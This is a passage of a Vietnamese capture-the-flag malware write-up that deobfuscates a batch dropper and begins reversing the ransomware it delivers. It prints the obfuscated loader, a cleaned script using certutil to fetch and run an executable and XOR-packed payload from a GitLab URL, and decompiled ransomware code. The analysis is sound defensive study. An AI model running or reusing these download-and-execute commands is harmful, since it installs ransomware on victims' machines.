~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%QwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà ¡Ãh§%
echo %K¨hf:~51,1%%K¨hf:~24,1%%à i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÃ
ÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat"
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~50,1%%K¨hf:~23,1%%K¨hf:~17,1%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%%KmPÃhsÃ%%K¨hf:~40,1%%K¨hf:~22,1%=%K¨hf:~4,1%%K¨hf:~63,1%%ºÃÃÃFUÃ%%K¨hf:~9,1%%K¨hf:~63,1%_%K¨hf:~47,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~17,1%%K¨hf:~24,1%%K¨hf:~15,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~54,1%%K¨hf:~24,1%%¨Ã§ÃCNO%%K¨hf:~61,1%%K¨hf:~51,1%%K¨hf:~45,1%%K¨hf:~60,1%%K¨hf:~10,1%%Ãj
_mÃÃ%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%://%K¨hf:~3,1%%ZmcÃIFV%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%ÃxC¹¤z%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%TRãQPO%%K¨hf:~10,1%/%K¨hf:~29,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~35,1%%K¨hf:~24,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~60,1%%K¨hf:~41,1%.%K¨hf:~24,1%%K¨hf:~25,1%%K¨hf:~24,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~1,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%%K¨hf:~35,1%_%K¨hf:~63,1%%K¨hf:~50,1%%K¨hf:~22,1%%K¨hf:~40,1%_%K¨hf:~29,1%%K¨hf:~22,1%%K¨hf:~31,1%=%K¨hf:~5,1%%K¨hf:~52,1%%K¨hf:~52,1%%K¨hf:~30,1%%K¨hf:~51,1%%ygFtnºÃ%://%K¨hf:~3,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~37,1%%K¨hf:~32,1%%K¨hf:~39,1%.%K¨hf:~49,1%%K¨hf:~60,1%%K¨hf:~34,1%/%K¨hf:~52,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~60,1%%QwÃy_º%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~41,1%%K¨hf:~10,1%%K¨hf:~24,1%%K¨hf:~24,1%%K¨hf:~6,1%%K¨hf:~24,1%%K¨hf:~49,1%%K¨hf:~59,1%/%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~45,1%%ºH¢±ÃÃÃ%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~24,1%%K¨hf:~51,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~60,1%%K¨hf:~37,1%/-/%K¨hf:~61,1%%K¨hf:~32,1%%K¨hf:~15,1%/%K¨hf:~34,1%%K¨hf:~32,1%%K¨hf:~45,1%%K¨hf:~10,1%/%K¨hf:~7,1%%K¨hf:~51,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%.%K¨hf:~56,1%%K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~45,1%%K¨hf:~45,1%?%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~10,1%%K¨hf:~24,1%=%K¨hf:~16,1%%K¨hf:~32,1%%K¨hf:~37,1%%K¨hf:~51,1%%K¨hf:~24,1%%Ãà ¡Ãh§%
echo %K¨hf:~51,1%%K¨hf:~24,1%%à i¤Ãe%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~48,1%%K¨hf:~40,1%%K¨hf:~12,1%%K¨hf:~8,1%%K¨hf:~42,1%=%K¨hf:~42,1%%temp%
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~35,1%%K¨hf:~22,1%%K¨hf:~50,1%%K¨hf:~8,1%%K¨hf:~8,1%%K¨hf:~40,1%%K¨hf:~22,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%windir%\System32\oaep.exe
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~2,1%%lÃ
ÃÃÃa%%K¨hf:~31,1%%K¨hf:~50,1%%K¨hf:~7,1%%K¨hf:~35,1%_%K¨hf:~50,1%%K¨hf:~29,1%%K¨hf:~48,1%%K¨hf:~8,1%%K¨hf:~29,1%%K¨hf:~48,1%=%temp%\Asset.kseii
echo %K¨hf:~51,1%%K¨hf:~24,1%%K¨hf:~52,1%%K¨hf:~42,1%"%K¨hf:~57,1%%K¨hf:~7,1%%K¨hf:~48,1%_%K¨hf:~8,1%%K¨hf:~7,1%%K¨hf:~48,1%%K¨hf:~0,1%=%~dp0avast.bat"
echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1
echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1
echo %K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype
echo %PAYLOAD_OUTPUT%
echo %temp%\AssetHelper.exe
echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT%
echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃÃ%%K¨hf:~60,1%%wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe
echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%
echo %K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%DROPPER_URL% %DROPPER_OUTPUT% >nul 2>&1
echo %K¨hf:~49,1%%K¨hf:~24,1%%K¨hf:~61,1%%K¨hf:~52,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~37,1%%K¨hf:~42,1%-%K¨hf:~19,1%%K¨hf:~61,1%%K¨hf:~37,1%%K¨hf:~49,1%%K¨hf:~32,1%%K¨hf:~49,1%%K¨hf:~5,1%%K¨hf:~24,1%%K¨hf:~42,1%-%K¨hf:~51,1%%K¨hf:~30,1%%K¨hf:~37,1%%K¨hf:~45,1%%K¨hf:~52,1%%K¨hf:~42,1%-%K¨hf:~16,1%%K¨hf:~42,1%%XORED_CORE_URL% %PAYLOAD_OUTPUT% >nul 2>&1
echo %K¨hf:~16,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%%K¨hf:~42,1%%K¨hf:~4,1%%K¨hf:~63,1%%¤M_aÃÃÃ%%K¨hf:~9,1%%K¨hf:~63,1%%K¨hf:~8,1%%K¨hf:~61,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~60,1%%K¨hf:~52,1%%K¨hf:~41,1%%K¨hf:~30,1%%K¨hf:~24,1%="%DROPPER_OUTPUT%" "%%1" & assoc .kseii=KCSCPrototype
%PAYLOAD_OUTPUT%
%temp%\AssetHelper.exe
echo "%K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%ÃBÃnu¼i%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%DROPPER_OUTPUT%"
echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%dÃìÃÃ%%K¨hf:~60,1%%wÃÃiÃx%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%M®ÃÃvIb%%K¨hf:~62,1%%_ÃsYNpU%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%temp%\AssetHelper.exe
echo %K¨hf:~52,1%%K¨hf:~45,1%%K¨hf:~34,1%%K¨hf:~24,1%%K¨hf:~60,1%%K¨hf:~19,1%%K¨hf:~52,1%%K¨hf:~42,1%/%K¨hf:~52,1%%K¨hf:~42,1%%K¨hf:~59,1%%K¨hf:~62,1%%K¨hf:~42,1%&%K¨hf:~42,1%%K¨hf:~18,1%%K¨hf:~24,1%%K¨hf:~37,1%%K¨hf:~42,1%%yN¥£ºÃ%/%K¨hf:~16,1%%K¨hf:~42,1%/%K¨hf:~43,1%%K¨hf:~42,1%%BAT_PATH%
```
Ghi vào 1 file `.bat`, sau đó chạy nó, mình có được:
```powershell!
PS C:\Users\Admin\Downloads> .\a.bat
C:\Users\Admin\Downloads>echo set DOWNLOADER=KCSC_GetNewestVersion
set DOWNLOADER=KCSC_GetNewestVersion
C:\Users\Admin\Downloads>echo set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false
set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false
C:\Users\Admin\Downloads>echo set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false
set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false
C:\Users\Admin\Downloads>echo set TEMP = C:\Users\Admin\AppData\Local\Temp
set TEMP = C:\Users\Admin\AppData\Local\Temp
C:\Users\Admin\Downloads>echo set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe
set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe
C:\Users\Admin\Downloads>echo set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii
set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii
C:\Users\Admin\Downloads>echo set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat"
set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat"
C:\Users\Admin\Downloads>echo set DOWNLOADER=KCSC_GetNewestVersion
set DOWNLOADER=KCSC_GetNewestVersion
C:\Users\Admin\Downloads>echo set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false
set DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false
C:\Users\Admin\Downloads>echo set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false
set XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false
C:\Users\Admin\Downloads>echo set TEMP = C:\Users\Admin\AppData\Local\Temp
set TEMP = C:\Users\Admin\AppData\Local\Temp
C:\Users\Admin\Downloads>echo set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe
set DROPPER_OUTPUT=C:\Windows\System32\oaep.exe
C:\Users\Admin\Downloads>echo set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii
set PAYLOAD_OUTPUT=C:\Users\Admin\AppData\Local\Temp\Asset.kseii
C:\Users\Admin\Downloads>echo set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat"
set "BAT_PATH=C:\Users\Admin\Downloads\avast.bat"
C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1
C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1
C:\Users\Admin\Downloads>echo ftype KCSCPrototype="" "%1" & assoc .kseii=KCSCPrototype
ftype KCSCPrototype="" "%1"
.kseii=KCSCPrototype
C:\Users\Admin\Downloads>echo
ECHO is on.
C:\Users\Admin\Downloads>echo C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q
timeout /t 10
The syntax of the command is incorrect.
C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
timeout /t 10
Could Not Find C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q
timeout /t 10
The syntax of the command is incorrect.
C:\Users\Admin\Downloads>echo rtutil urlcache -split -f 1>nul 2>&1
C:\Users\Admin\Downloads>echo certutil -urlcache -split -f 1>nul 2>&1
C:\Users\Admin\Downloads>echo ftype KCSCPrototype="" "%1" & assoc .kseii=KCSCPrototype
ftype KCSCPrototype="" "%1"
.kseii=KCSCPrototype
C:\Users\Admin\Downloads>C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
'C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe' is not recognized as an internal or external command,
operable program or batch file.
C:\Users\Admin\Downloads>echo "timeout /t 10 & del /f /q "
"timeout /t 10 & del /f /q "
C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
timeout /t 10
Could Not Find C:\Users\Admin\AppData\Local\Temp\AssetHelper.exe
C:\Users\Admin\Downloads>echo timeout /t 10 & del /f /q
timeout /t 10
The syntax of the command is incorrect.
PS C:\Users\Admin\Downloads>
```
Rút gọn dễ nhìn hơn:
```powershell!
@echo off
set "DOWNLOADER=KCSC_GetNewestVersion"
set "DROPPER_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/UtilitiesDeploy.exe?inline=false"
set "XORED_CORE_URL=https://gitlab.com/theonlyneevec1/utilitiestool/-/raw/main/Asset.kseii?inline=false"
set "DROPPER_OUTPUT=%WINDIR%\System32\oaep.exe"
set "PAYLOAD_OUTPUT=%TEMP%\Asset.kseii"
set "BAT_PATH=%~dp0avast.bat"
:: tải dropper & payload (ẩn stdout/stderr)
certutil -urlcache -split -f "%DROPPER_URL%" "%DROPPER_OUTPUT%" 1>nul 2>&1
certutil -urlcache -split -f "%XORED_CORE_URL%" "%PAYLOAD_OUTPUT%" 1>nul 2>&1
:: khai báo file association cho .kseii
ftype KCSCPrototype="" "%%1"
assoc .kseii=KCSCPrototype
:: chạy dropper với tham số (payload)
"%DROPPER_OUTPUT%" "%PAYLOAD_OUTPUT%"
:: dọn rác helper tạm (nếu có)
timeout /t 10 >nul & del /f /q "%TEMP%\AssetHelper.exe" 2>nul
```
Trong đoạn batch trên, mã độc tắt echo (`@echo off`), khai báo biến cấu hình rồi lợi dụng **LOLBIN** `certutil` để tải hai tệp từ GitLab: **dropper** (`DROPPER_URL → %WINDIR%\System32\oaep.exe`) và **payload/parameter** (`XORED_CORE_URL → %TEMP%\Asset.kseii`) — cả hai lệnh tải đều giấu stdout/stderr bằng `1>nul 2>&1`. Tiếp theo, script tạo **file association** cho đuôi lạ `.kseii` (`assoc .kseii=KCSCPrototype` và `ftype KCSCPrototype="" "%1"`) để hợp thức hóa thao tác trên loại tệp này. Cuối cùng nó **chạy dropper** với **đường dẫn payload** làm tham số (`"%DROPPER_OUTPUT%" "%PAYLOAD_OUTPUT%"`). Trong mẫu này, `Asset.kseii` không phải PE trực tiếp mà là **gói XOR** (khóa 4‐byte lặp `CAFEBABE`); dropper sẽ đọc, **XOR giải bọc** để thu về **PE (MZ)** thật rồi thực thi logic kế tiếp.
---
### 2.3 Recover Ransomware
Sau khi mình deob thành công và nắm được hành vi của đoạn mã này, mình có thử truy cập vô link gitlab, nhưng mình không thể truy cập tải file đó về được:


Nhưng đọc kỹ lại thì mình phát hiện được bản sao Asset.kseii trong %TEMP%, nhanh trí search thử:

Nó thực sự xuất hiện, như logic mới phân tích trên thì khi kiểm tra file này thử mình phát hiện được điều khá thú vị:

Chuỗi `ca fe ba be` được lặp lại liên tục, có ý nghĩa gì?
Với XOR lặp (stream/key ngắn lặp lại), ta có:
```bash!
cipher[i] = plain[i] XOR key[i mod L]
```
Nếu ở một đoạn nào đó của plain chứa rất nhiều byte 0x00 liên tiếp (padding / vùng rỗng do căn lề của PE, các khoảng trống giữa section, vùng .bss “zero-fill”…), thì:
```bash!
cipher[i] = 0x00 XOR key[j] = key[j]
```
Trong file PE/EXE thật, các đoạn 0x00 liên tục cực kỳ phổ biến (alignment 0x200/0x1000, slack space, vùng chưa dùng). Vì thế nếu author để mã độc dùng XOR với khóa ngắn (4/8/16 byte) thì trong ciphertext sẽ lộ nguyên pattern khóa — ở case này chính là:


> Đúng là `ca fe ba be` là các đoạn `00 00 00 00` trong con ransom.
Đúng như những gì mong đợi, ta đã khôi phục thành công con ransomware này, tiếp tục đến bước reverse nó.
---
### 2.4 Reverse Ransomware
Bật IDA lên và bắt đầu phân tích thôi:
#### 2.4.1 main → khởi tạo nạn nhân & IV
```C!
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v4; // rbx
BOOL v5; // ebx
LPDWORD lpMaximumComponentLength; // [rsp+20h] [rbp-E0h]
DWORD VolumeSerialNumber; // [rsp+40h] [rbp-C0h] BYREF
DWORD FileSystemFlags; // [rsp+44h] [rbp-BCh] BYREF
DWORD MaximumComponentLength; // [rsp+48h] [rbp-B8h] BYREF
DWORD pcbBuffer; // [rsp+4Ch] [rbp-B4h] BYREF
DWORD nSize; // [rsp+50h] [rbp-B0h] BYREF
HCRYPTPROV phProv; // [rsp+58h] [rbp-A8h] BYREF
__int64 v13; // [rsp+60h] [rbp-A0h] BYREF
int v14; // [rsp+68h] [rbp-98h]
int v15; // [rsp+6Ch] [rbp-94h]
int v16; // [rsp+70h] [rbp-90h]
int v17; // [rsp+74h] [rbp-8Ch]
__int128 v18; // [rsp+B8h] [rbp-48h]
__int128 v19; // [rsp+D0h] [rbp-30h] BYREF
WCHAR v20[16]; // [rsp+E0h] [rbp-20h] BYREF
BYTE pbBuffer[32]; // [rsp+100h] [rbp+0h] BYREF
CHAR MultiByteStr[256]; // [rsp+120h] [rbp+20h] BYREF
CHAR Dst[272]; // [rsp+220h] [rbp+120h] BYREF
WCHAR Buffer[264]; // [rsp+330h] [rbp+230h] BYREF
WCHAR FileSystemNameBuffer[264]; // [rsp+540h] [rbp+440h] BYREF
WCHAR VolumeNameBuffer[264]; // [rsp+750h] [rbp+650h] BYREF
WCHAR WideCharStr[512]; // [rsp+960h] [rbp+860h] BYREF
VolumeSerialNumber = 0;
MaximumComponentLength = 0;
FileSystemFlags = 0;
if ( !GetVolumeInformationW(
L"C:\\",
VolumeNameBuffer,
0x104u,
&VolumeSerialNumber,
&MaximumComponentLength,
&FileSystemFlags,
FileSystemNameBuffer,
0x104u) )
return GetLastError();
pcbBuffer = 257;
nSize = 16;
if ( !GetUserNameW(Buffer, &pcbBuffer) || !GetComputerNameW(v20, &nSize) )
return GetLastError();
LODWORD(lpMaximumComponentLength) = VolumeSerialNumber;
wsprintfW(WideCharStr, L"%s_%s_%08X", Buffer, v20, lpMaximumComponentLength);
v4 = -1;
WideCharToMultiByte(0xFDE9u, 0, WideCharStr, -1, MultiByteStr, 256, 0, 0);
v13 = 0;
v14 = 1732584193;
v15 = -271733879;
v16 = -1732584194;
v17 = 271733878;
do
++v4;
while ( MultiByteStr[v4] );
sub_1400010D0((int *)&v13, (__int64)MultiByteStr, v4);
sub_140001380(&v13);
phProv = 0;
v19 = v18;
if ( !CryptAcquireContextW(&phProv, 0, 0, 1u, 0xF0000000) )
return 1;
v5 = CryptGenRandom(phProv, 0x20u, pbBuffer);
CryptReleaseContext(phProv, 0);
if ( !v5 )
return 1;
ExpandEnvironmentStringsA("%userprofile%\\Pictures\\Saved Pictures\\", Dst, 0x104u);
sub_140001790(Dst, (__int128 *)pbBuffer, (const BYTE *)&v19);
return 0;
}
```
